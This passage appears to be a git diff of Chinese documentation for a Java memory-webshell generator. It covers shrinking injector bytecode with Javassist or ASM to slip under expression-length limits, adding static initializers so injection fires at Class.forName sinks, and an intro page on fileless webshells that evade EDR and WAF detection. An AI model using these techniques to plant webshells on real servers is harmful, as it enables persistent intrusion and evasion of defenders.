||||
### 缩小字节码
|
||||
|
||||
默认情况下,一个内存马就有 1w 多长度,因此越来越多的地方做了长度限制,异常的长度认为是恶意行为,例如 SpEL 高版本仅支持 10,000 以下字符长度的表达式执行。
|
||||
|
||||
以下三种方式中,测试结果显示当前项目使用的 ASM SKIP_DEBUG 缩小字节码最小:
|
||||
|
||||
1. 普通编译类文件:8943 长度
|
||||
2. Javassist 去除属性:8003 长度
|
||||
3. javac 去除调试信息:6658 长度
|
||||
4. ASM SKIP_DEBUG:**6349** 长度
|
||||
|
||||
|
||||
#### Javassist 去除属性
|
||||
|
||||
由于 Javassist 被用于各类反序列化字节码工具中,因此使用最为广泛,以下字节码缩小代码被广为流传
|
||||
|
||||
```java
|
||||
public static byte[] shrink(byte[] classBytes) throws Exception {
|
||||
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
||||
DataOutputStream dataOutputStream = new DataOutputStream(byteArrayOutputStream);
|
||||
ClassPool classPool = new ClassPool();
|
||||
classPool.appendSystemPath();
|
||||
CtClass ctClass = classPool.makeClass(new ByteArrayInputStream(classBytes));
|
||||
ClassFile classFile = ctClass.getClassFile2();
|
||||
classFile.removeAttribute("SourceFile");
|
||||
classFile.removeAttribute("LineNumberTable");
|
||||
classFile.removeAttribute("LocalVariableTable");
|
||||
classFile.removeAttribute("LocalVariableTypeTable");
|
||||
classFile.removeAttribute("Deprecated");
|
||||
classFile.removeAttribute("Signature");
|
||||
classFile.removeAttribute("StackMapTable");
|
||||
for (MethodInfo methodInfo : classFile.getMethods()) {
|
||||
methodInfo.removeAttribute("RuntimeVisibleAnnotations");
|
||||
methodInfo.removeAttribute("RuntimeInvisibleAnnotations");
|
||||
methodInfo.removeAttribute("SourceFile");
|
||||
methodInfo.removeAttribute("LineNumberTable");
|
||||
methodInfo.removeAttribute("LocalVariableTable");
|
||||
methodInfo.removeAttribute("LocalVariableTypeTable");
|
||||
methodInfo.removeAttribute("Deprecated");
|
||||
methodInfo.removeAttribute("Signature");
|
||||
methodInfo.removeAttribute("StackMapTable");
|
||||
List<AttributeInfo> attributes = ((CodeAttribute) methodInfo.getAttribute("Code")).getAttributes();
|
||||
ArrayList arrayList = new ArrayList();
|
||||
for (AttributeInfo attributeInfo : attributes) {
|
||||
if ("StackMapTable".equals(attributeInfo.getName()) || "LineNumberTable".equals(attributeInfo.getName())) {
|
||||
arrayList.add(attributeInfo);
|
||||
}
|
||||
}
|
||||
for (Object o : arrayList) {
|
||||
attributes.remove((AttributeInfo) o);
|
||||
}
|
||||
}
|
||||
ctClass.toBytecode(dataOutputStream);
|
||||
ctClass.detach();
|
||||
ctClass.defrost();
|
||||
return byteArrayOutputStream.toByteArray();
|
||||
}
|
||||
```
|
||||
|
||||
#### javac 去除调试信息
|
||||
|
||||
忘记在哪篇文章,看到说测试当前情况为最佳,手动编译类,添加 `-g:none` 参数跳过类的调试信息。
|
||||
|
||||
```java
|
||||
javac -g:none xx.java
|
||||
```
|
||||
|
||||
#### ASM SKIP_DEBUG
|
||||
|
||||
在一次偶然的机会,我在看 ClassReader 的 flag 都是做什么时,注意到了 SKIP_DEBUG 注释里面的描述,删除各种 SourceFile, SourceDebugExtension, LocalVariableTable, LocalVariableTypeTable, LineNumberTable and MethodParameters 属性,这不是和 Javassist 去除属性代码有点类似。
|
||||
|
||||
```java
|
||||
public class ClassReader {
|
||||
/**
|
||||
* A flag to skip the SourceFile, SourceDebugExtension, LocalVariableTable,
|
||||
* LocalVariableTypeTable, LineNumberTable and MethodParameters attributes. If this flag is set
|
||||
* these attributes are neither parsed nor visited (i.e. {@link ClassVisitor#visitSource}, {@link
|
||||
* MethodVisitor#visitLocalVariable}, {@link MethodVisitor#visitLineNumber} and {@link
|
||||
* MethodVisitor#visitParameter} are not called).
|
||||
*/
|
||||
public static final int SKIP_DEBUG = 2;
|
||||
}
|
||||
```
|
||||
|
||||
于是我果断的写下了以下代码,发现其比 Javassist 去除属性效果更好:
|
||||
|
||||
```java
|
||||
public static byte[] shrink(byte[] bytes) {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
|
||||
ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {};
|
||||
cr.accept(cv, ClassReader.SKIP_DEBUG);
|
||||
return cw.toByteArray();
|
||||
}
|
||||
```
|
||||
|
||||
### 静态初始化
|
||||
|
||||
当前注入器实现的逻辑都在构造方式中,不过并不是所有的漏洞 sink 点我们都能触发到 newInstance 方法调用构造方法实例化对象,因此我们加入了静态初始化开关,当开启后,会在类中添加静态代码块调用构造方法,例如:
|
||||
|
||||
```java
|
||||
static {
|
||||
new ImageUtil();
|
||||
}
|
||||
```
|
||||
|
||||
这样使得部分漏洞 sink 点为 `Class.forName(name, true, classLoader);` 的场景也能正常触发内存马注入了。
|
||||
@@ -1,3 +1,3 @@
|
||||
{
|
||||
"title": "Servlets 规范内存马"
|
||||
"title": "Java Servlet 规范内存马"
|
||||
}
|
||||
|
||||
@@ -1,13 +1,14 @@
|
||||
{
|
||||
"pages": [
|
||||
"index",
|
||||
"compatibility",
|
||||
"server-intro",
|
||||
"self-host",
|
||||
"self-build",
|
||||
"sdk",
|
||||
"changelog",
|
||||
"---Java 内存马---",
|
||||
"what-is-memshell",
|
||||
"---内存马生成器---",
|
||||
"memshell-core-config",
|
||||
"memshell",
|
||||
"custom-memshell",
|
||||
"---内存马工具---",
|
||||
|
||||
@@ -1,43 +0,0 @@
|
||||
---
|
||||
title: 介绍
|
||||
---
|
||||
|
||||
Java 内存马是一种无文件 webshell,相较于传统的 webshell,它无须落地 JSP 文件即可实现所有 webshell 功能。其唯一缺点可能就是服务重启即失效,因此也出现了附带的内存马复活相关技术。
|
||||
|
||||
## 什么是 webshell
|
||||
|
||||
> From [wikipedia](https://en.wikipedia.org/wiki/Web_shell)
|
||||
|
||||
webshell 是一种类似于 shell 的入口,攻击者可通过它来控制目标 web 服务器并实施网络攻击。由于 PHP 被广泛应用于 Web 应用,因此 PHP webshell 是最常见的,当然 ASP、Java、NodeJs 等框架与编程语言也存在 webshell。
|
||||
|
||||
常见的 webshell 功能包括:
|
||||
|
||||
1. 命令回显,反弹 unix shell。
|
||||
2. 网站管理工具,例如蚁剑、哥斯拉和冰蝎等。
|
||||
3. 代理隧道,例如 reGeorg、Neo-reGeorg、suo5 等。
|
||||
|
||||
## 演变历程
|
||||
|
||||
随着攻防演练热度越来越高,主机安全(文件监控、防篡改、EDR),WAF 流量设备,webshell 查杀等专业的安全设备被广泛使用。**webshell 已经从大马、小马、一句话马、加密一句话马逐步进化到现在的加密内存马,不断突破安全设备的检测**。无文件这一特性使主机安全设备变得失效,而加密则是针对 WAF 等流量设备,因此内存马使用得越来越多,当前唯一真正有效的防护措施只剩下了 **RASP(运行时应用安全防护)** — 这也是我目前所从事的方向 Java RASP 研发 — [靖云甲](https://www.boundaryx.com/category/product/adr)。
|
||||
|
||||
因此内存马也被称为内存 webshell,相较于传统 webshell 的文件落地方式,只是在攻防对抗中进化,换了个实现方式挂 webshell。
|
||||
|
||||
此项目 https://github.com/tennc/webshell 收集了超多不同编程语言的 webshell,或许你遇到有意思的 webshell 时,可以考虑将其改造成内存马。
|
||||
|
||||
## 常见 Java 内存马
|
||||
|
||||
在 Java 中 webshell 常见的后缀有 jsp 和 jspx。根据 Servlet 的定义(这部分的知识强烈推荐:[Head First Servlets and JSP](https://www.amazon.com/Head-First-Servlets-JSP-Certified/dp/0596516681)),JSP 本质就是一个 Servlet,它提供了独特的 entrypoint 用于访问。因此一开始大家最常打的内存马就是 Servlet 内存马,通过 JSP 获取 request 拿到 ServletContext 进行 Servlet 的动态注册。
|
||||
|
||||
冰蝎工具后来提供了 Java Agent 内存马实现,使得内存马技术得到了广泛传播。
|
||||
|
||||
**任何能进行 Web 通信的组件都可以成为内存马依附的位置**。
|
||||
|
||||
Java EE 中的 Servlets 就提供了 Servlet、Filter 以及 Listener,Tomcat 通过挖掘已经有了 Upgrade、WebSocket、Executor、Valve、ApplicationFilterChain。并且 SpringWebMVC 中的 Controller、Interceptor,SpringWebFlux 中的 WebFilter 这种框架内存马也使用广泛。
|
||||
|
||||
从技术实现的不同,分为非 Agent 内存马与 Agent 内存马,由于 Agent 内存马需要落地 Jar 包,冰蝎工具的作者后续也提供了无文件 Agent 内存马的实现方式,参考:[Java 内存攻击技术漫谈](https://xz.aliyun.com/news/9525)、[论如何优雅的注入 Java Agent 内存马](https://xz.aliyun.com/news/11086)。
|
||||
|
||||
## 延伸阅读
|
||||
|
||||
- [Shell 中的幽灵王者 — JAVAWEB 内存马【认知篇】](https://www.4hou.com/posts/zlkq)
|
||||
- [JAVA 内存马的“一生”](https://xz.aliyun.com/news/10451)
|
||||
- [一文看懂内存马](https://www.freebuf.com/articles/web/274466.html)
|
||||
+8
-8
@@ -20,20 +20,20 @@
|
||||
"@tanstack/react-query": "^5.90.12",
|
||||
"class-variance-authority": "^0.7.1",
|
||||
"clsx": "^2.1.1",
|
||||
"framer-motion": "^12.23.25",
|
||||
"framer-motion": "^12.23.26",
|
||||
"fumadocs-core": "^16.2.4",
|
||||
"fumadocs-mdx": "14.1.0",
|
||||
"fumadocs-ui": "16.2.3",
|
||||
"fumadocs-ui": "16.2.4",
|
||||
"i18next": "^25.7.2",
|
||||
"isbot": "^5.1.32",
|
||||
"lucide-react": "^0.556.0",
|
||||
"motion": "^12.23.25",
|
||||
"lucide-react": "^0.560.0",
|
||||
"motion": "^12.23.26",
|
||||
"radix-ui": "^1.4.3",
|
||||
"react": "^19.2.1",
|
||||
"react-copy-to-clipboard": "^5.1.0",
|
||||
"react-dom": "^19.2.1",
|
||||
"react-hook-form": "^7.68.0",
|
||||
"react-i18next": "^16.4.0",
|
||||
"react-i18next": "^16.4.1",
|
||||
"react-medium-image-zoom": "^5.4.0",
|
||||
"react-syntax-highlighter": "^16.1.0",
|
||||
"sonner": "^2.0.7",
|
||||
@@ -44,9 +44,9 @@
|
||||
"devDependencies": {
|
||||
"@biomejs/biome": "^2.3.8",
|
||||
"@react-router/dev": "^7.10.1",
|
||||
"@tailwindcss/vite": "^4.1.17",
|
||||
"@tailwindcss/vite": "^4.1.18",
|
||||
"@types/mdx": "^2.0.13",
|
||||
"@types/node": "^24.10.2",
|
||||
"@types/node": "^25.0.0",
|
||||
"@types/react": "^19.2.7",
|
||||
"@types/react-copy-to-clipboard": "^5.0.7",
|
||||
"@types/react-dom": "^19.2.3",
|
||||
@@ -54,7 +54,7 @@
|
||||
"react-router-devtools": "^6.0.0",
|
||||
"rimraf": "^6.1.2",
|
||||
"serve": "^14.2.5",
|
||||
"tailwindcss": "^4.1.17",
|
||||
"tailwindcss": "^4.1.18",
|
||||
"typescript": "^5.9.3",
|
||||
"vite": "^7.2.7",
|
||||
"vite-plugin-devtools-json": "^1.0.0",
|
||||
|
||||
Reference in New Issue
Block a user